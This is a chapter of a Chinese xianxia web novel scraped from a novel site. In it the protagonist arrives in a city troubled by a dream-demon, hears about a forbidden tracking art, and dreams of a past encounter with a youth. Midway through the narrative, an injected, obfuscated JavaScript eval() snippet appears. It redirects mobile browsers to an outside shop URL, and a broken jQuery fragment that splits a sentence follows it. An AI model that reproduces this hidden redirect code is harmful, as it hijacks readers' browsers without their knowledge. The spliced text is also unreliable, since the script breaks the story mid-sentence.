文趣网 > 其他小说 > 咸鱼招惹反派后跑路了 > 3. 萦心
    谢无渡并未下死手。

    微生清只是真气乱窜,吃药后调息片刻便恢复大半。

    灵偶敲敲打打,豪华灵舟重新升空。

    经此变故,气氛不见方才的轻松愉悦。

    师妹嘟囔:“传言果然没错。”

    魔族,果然没有良善之辈!

    微生清捂着胸口:“魔域内部并不是铁板一块,谢无渡能压制住老魔尊的旧部,绝不是泛泛之辈。”

    师弟还有些恍惚:“明明看起来比我们大不了几岁,修为竟如此可怖……”

    风枕月此时没心情参与几人的讨论,让人照顾好微生清,自己回了房间。

    “嘶……”

    房门一关,风枕月就龇牙咧嘴撩起衣袖。

    皓白手腕指痕触目惊心,系统倒吸凉气:“他是想捏碎你手骨吗!”

    风枕月一边吹气,一边上药:

    也不知道谢无渡是属什么的,力气这么大。

    系统心有余悸:“还好你不是他要找人,不然小命难保。”

    风枕月上药的手一顿,深以为然。

    就谢无渡今天那反应,找到无尘后,捏碎手骨都算轻的。

    系统疑惑:“无尘到底对谢无渡做什么了,他怎么这么恨对方?”

    风枕月不可思议:“你问我?”

    我们到底谁是系统?

    系统理亏闭嘴。

    除了手腕,风枕月后腰也隐隐泛疼,但自己不方便上药,只能作罢。

    扔开药瓶,风枕月有气无力趴桌上:

    “我以后得离谢无渡远一点。”

    越远越好!

    系统打破他的幻想:“根据剧情,他现在已经到栖凤城了。”

    风枕月:“……”

    想原地掉头。

    ***

    戌时,栖凤城外。

    师妹仰头看古老的城门:“和我想象中不一样。”

    城门旁摆满摊位,吆喝声此起彼伏。

    热闹繁华,看不出正受妖物侵扰。

    风枕月将灵舟收进芥子空间,说:“若是白日也妖气冲天,得是一方大妖了。”

    宗门让微生清带几名新弟子前来,是因为探查后,知道作乱的妖顶多金丹中期的修为。

    仅靠微生清一人便能解决,带上师弟师妹,只是为了让他们练手。

    栖凤城的明城主也是修士,且修为不俗,他嫉恶如仇,这些年把栖凤城管理得井井有条。

    这次妖物作乱,明城主没有向天宗派求助,想来也是没把这小妖放心上。

    为防打草惊蛇,几人并未声张,低调地入城了。

    入城找地方休整时,吃不得苦的风枕月,不怎么大的手一挥,包下了客栈一整层。

    天降大财主,掌柜的笑得见牙不见眼,亲自送几人上楼。

    “掌柜的。”

    经过一路调息,伤好得七七八八的微生清叫住要下楼掌柜,笑着打探城中情况:

    “我们初来乍到,入城时听说近来城中不太平?”

    掌柜立马否认:“哪有的事,咱们栖凤城在城主的带领下,可谓是治安严明,路不拾遗……”

    小二也笑着应声:“是啊,没有比咱们这儿更安稳的了。”

    本来要回房间的风枕月竖起耳朵,光明正大偷听。

    从掌柜和小二的反应不难看出,大家对这位城主十分满意,说他干实事,是真正的爱民如子。

    掌柜:“尤其是这几年,在城主的管理下,城中地痞流氓都没了。”

    毕竟偷个鸡蛋都要蹲三个月大牢。

    城里那些坏蛋,都被吓得跑隔壁城镇去啦。

    风枕月听了半晌,除了对城主的夸赞,没半点跟魇妖有关的信息。

    风枕月回了房间,问系统:“谢无渡不会再突然冒出来吧?”

    说实在的,风枕月并不担心魇妖。

    他忌惮的,一直的是谢无渡。

    毕竟原著栖凤城一行天宗派的惨烈结局,就摆在眼前。

    系统:“谢无渡此时正忙着找魇妖,你们短时间内不会碰面。”

    风枕月心下稍安,先回房间把灵偶从芥子空间放出来。

    灵偶熟练上岗,一通忙活。

    没一会儿,客栈规规矩矩的房间,焕然一新。

    “阿月。”微生清叩门。

    “进。”

    微生清推门而入,口中道:“阿月,你说谢无渡——”

    后半截话戛然而止。

    微生清震在原地。

    屋内的景象,让他以为到了风枕月的九嶷峰:

    雪白厚实的毛毯铺满了整间房,客栈的黄檀木床换成沉香玉塌,两颗幼童拳大的夜明珠悬在床头,照得一室通明。

    再一看,灵偶正兢兢业业给鲛绡熏香……

    微生清表情空白:

    这就是当今第一隐世家族的光芒吗?

    好奢靡,好耀眼!

    久等不到下文,风枕月不得不出声:“谢无渡怎么了?”

    半晌,微生清才收回视线:

    “城内的事,会不会跟谢无渡有关?”

    风枕月想也没想:“不可能。”

    风枕月否认得太快太坚决,微生清一愣:“你怎么知道?”

    你又不了解谢无渡。

    风枕月面不改色:“我不了解他,但以谢无渡今日行事来看,他若是想杀谁,不必遮遮掩掩。”

    据前来探查的弟子所说,栖凤城的妖物出没时,总伴随浓雾。

    微生清捂着还有些隐隐作疼的心口:“阿月言之有理,是我考虑不周。”

    风枕月给他倒了杯水,问:“你有没有从掌柜口中问出什么?”

    微生清摇摇头:“掌柜只说城中百姓近来尤为多梦。”

    系统在风枕月脑海里道:

    “魇妖能操控人意志,使人沉溺于梦境,于梦中杀人。”

    风枕月:“你知道魇妖在哪儿?”

    系统:“原著没写。”

    风枕月:“……”

    行吧,刷怪还是得靠自己。

    风枕月问微生清:“百姓不知道有命案发生?”

    微生清:“怕引起百姓恐慌,没有宣扬。”

    但世上没有不透风的墙,掌柜每日迎来送往,知道一些别人不知道的消息。

    微生清给掌柜的塞了一笔,掌柜的才小声告诉他,其实城里闹妖的事,已经有不少人知道了。

    城主也曾组织过几次捉妖行动,有一次甚至给对方打上了追踪符。

    可惜,最后还是让它跑了。

    微生清叹口气,觉得有点棘手:“那妖物出现总伴随浓雾,而追踪符,一遇水雾便失了效用。”

    风枕月皱眉:“没有比追踪符还好用的术法?”

    “怎么没有?”微生清随口答:

    “有一秘法唤‘萦心’,施术者靠近中术者,便能立刻感知到,非死不灭。”

    风枕月还是第一次听这个名字:“既如此有用,怎么不用?”

    微生清端起茶杯,摇摇头:“不是不用,是代价太大。”

    风枕月好奇:“多大?”

    比城中百姓的性命还重?

    微生清说不是这么算的:“‘萦心’是以心头血为引、神魂为契施展的。”

    修士的心头血何其珍贵?

    失去心头血,轻则修为倒退,重则损伤寿元。

    以神魂为契,若是中术者身亡,施术者神魂便如裂瓷,永无圆满之日。

    微生清笑了声:“谁会这么傻,用这么自伤的法子找人?”

    说到底,“萦心”只是一道更好用的追踪符而已。

    渐渐地,“萦心”就失传了。

    微生清也是无意间,在宗门藏书阁看到过记载。

    风枕月听后,深以为然点头:“确实。”

    听上去,只要脑子正常的人,都不会用“萦心”。

    “不知今夜那妖物会不会出现。”

    微生清起身离开时,叮嘱风枕月今晚警醒些,不要睡太沉:

    “有情况及时传讯。”

    风枕月点头:“我知道的,师兄你好好养伤。”

    入夜后,栖凤城起了雾。

    丝丝缕缕的雾气淌过青石长街,像一条游蛇沿着墙壁游走,攀上窗棂,渐渐笼罩整间客栈。

    榻上,说要警醒的风枕月拥被而眠,沉沉睡去。

    白雾深处,一双眼睛若隐若现,在暗处无声窥视……

    ……

    流水潺潺,鸟啼清脆。

    被吵醒的风枕月微一蹙眉,在一棵枝繁花茂的大树上睁眼。

    风枕月低头,瞧见自己手中拿着一支青竹钓竿,细长钓竿做得粗糙,鱼线从树枝中垂下,落入脚下的平缓河流。

    远处炊烟袅袅,玉带从青山间淌下。

    岸边种了几棵风枕月不认识的树,此时正处于盛花期,满树粉白如云。

    风一过,花瓣铺满水面,晃晃悠悠朝下游飘去。

    风枕月此时,就坐在其中一棵树上钓鱼。

    熟悉的景色,让风枕月愣了片刻神,他认出了这个地方——

    他第一次下山历练时,曾在这里住过几个月。

    一个群山深处的小村落,风景如画,与世隔绝。

    风枕月意识到自己正处于梦境之中,他略微低头,果然瞧见了那道身影:

    一黑袍少年,手持木剑,正在树下练剑。

    说是少年其实并不准确,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552324|204354||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他身量已经拔得很高,可身形还带着少年人特有的单薄,是介于少年和青年之间的青涩。

    他紧抿着唇,绷着一张小脸不见半分笑,出招利落,剑法凌厉,一招一式都带着冷冰冰的狠意。

    剑风扫过,草木俯腰,河水激荡。

    风枕月无法控制梦境走向,于是只能看着自己懒洋洋靠在树干上,看了黑漆漆的少年好一会儿,才打着哈欠问:

    “不累么?”

    少年置若罔闻,自顾自练自己的剑,哪怕小臂刚包扎好的伤口,正往外渗血也浑不在意。

    风枕月打了个哈欠:“若是伤口再崩开,我可不会再管你。”

    少年闻言,低头看了眼自己绑了一个硕大蝴蝶结的手臂,更沉默了。

    被无视的风枕月也不恼,细白的手指,点了点一朵含苞待放的花苞。

    一丝灵力渡去,花瓣转瞬绽开,又迅速凋零……

    几息之间,花苞变成了饱满圆润的果子。

    风枕月摘下果子,在手里掂了掂,然后往下一抛。

    黄澄澄的果子划出一道弧线,最后不偏不倚砸在少年肩上。

    剑风一顿,少年终于偏过头,面无表情抬头。

    树上的人坐姿懒散,雪白夏衫松松垮垮,青色腰带勒出一把细伶伶的腰,细得像是一折就断。

    乌发如瀑,发丝中夹着几片粉白花瓣。

    青色发带与树间清风一起,和花枝勾勾缠缠。

    这人才下河捉了鱼,此时正赤着脚,修长笔直的腿自然垂下,在空中乱晃。

    目光在那细白的脚踝扫过,少年视线往上移:

    “又闹什么?”

    风枕月和少年对视。

    少年眉眼生得极好,只是那双眼里仿佛有终年不化的雪,冷意入骨。

    只消一眼,便教人望而生畏。

    饶是如此,每次去村子里换粮,仍能引得村子里小姑娘们咬手绢。

    风枕月在心底啧了声:长大后肯定是个妖孽祸害。

    砸了人的风枕月,半点不亏心,恶人先抱怨:

    “你把我的鱼都吓跑了,今晚咱俩吃什么?”

    少年站在花树下,沉稳道:“我去买。”

    “集市离这儿二十里地。”

    风枕月换了个姿势,趴在树上:“等你买回来,我都饿死了。”

    少年掀起眼皮看他,眼里意思明显:

    你一个早已辟谷的修士,哪会饿死。

    风枕月:“修士也是人。”

    是人就会馋。

    少年不再说话,继续练他的木剑。

    风枕月自觉没趣,翻身背对他,又打了个哈欠。

    天晴日好,清风带着潮湿的凉意,花树沙沙作响。

    风枕月盯着水面稳如泰山的浮漂,意识渐渐远去。

    ……

    少年练完一整套剑法,后知后觉意识到,树上那人已经很久没有动静。

    少年抬头,目光穿过层层叠叠的花枝,落在那人身上。

    闹着要钓鱼的人,不知何时已经睡着了。

    粉白花瓣落了满衣衫。

    斑驳光影落在他侧脸,衬得本就瓷白的脸,白的几乎透明。

    眼前这一幕,美得像一幅画。

    少年不自觉屏住呼吸。

    仿佛自己呼吸重一分,便会惊扰了画中仙。

    少年执剑立在树下,看了很久,直到一阵风过,衣衫单薄的风枕月动了动。

    少年神色微动,在原地站了几息,最后认命地拿披风,脚下轻点飞身上树,把披风搭在睡着的人身上。

    他的动作很轻,整个过程,没有惊动任何一片叶子。

    做完这一切后少年没离开,而是在风枕月下方的枝丫坐下,看向远方。

    风枕月发丝在空中晃了又晃,有一缕轻飘飘地扫过少年的脸侧。

    有些痒,少年手指微动,抓住了那缕发丝。

    柔顺微凉的发丝滑过手心,最后从指间溜走。

    少年下意识拢了拢手心,什么都没留住。

    他目光移动,最后落在风枕月小腿上。

    没被披风遮住的小腿,纤细匀称,白而润,像上好的羊脂玉,又像刚剥壳的菱角。

    仿佛咬一口,就该是甜的。

    盯着看了不知道多久,少年鬼使神差地凑近,俯身微微张开嘴……

    沉香玉榻上,睡梦中的风枕月猛地睁开眼。

    他抱着被子从床上坐起来,大口喘着气,心脏砰砰乱跳。

    系统被他吓了一跳:“怎么了?”

    风枕月顾不上回答,梦境里的触感太真实,惊疑不定地看向自己小腿——

    还好,什么都没有。

    细腻光滑,没有被人咬。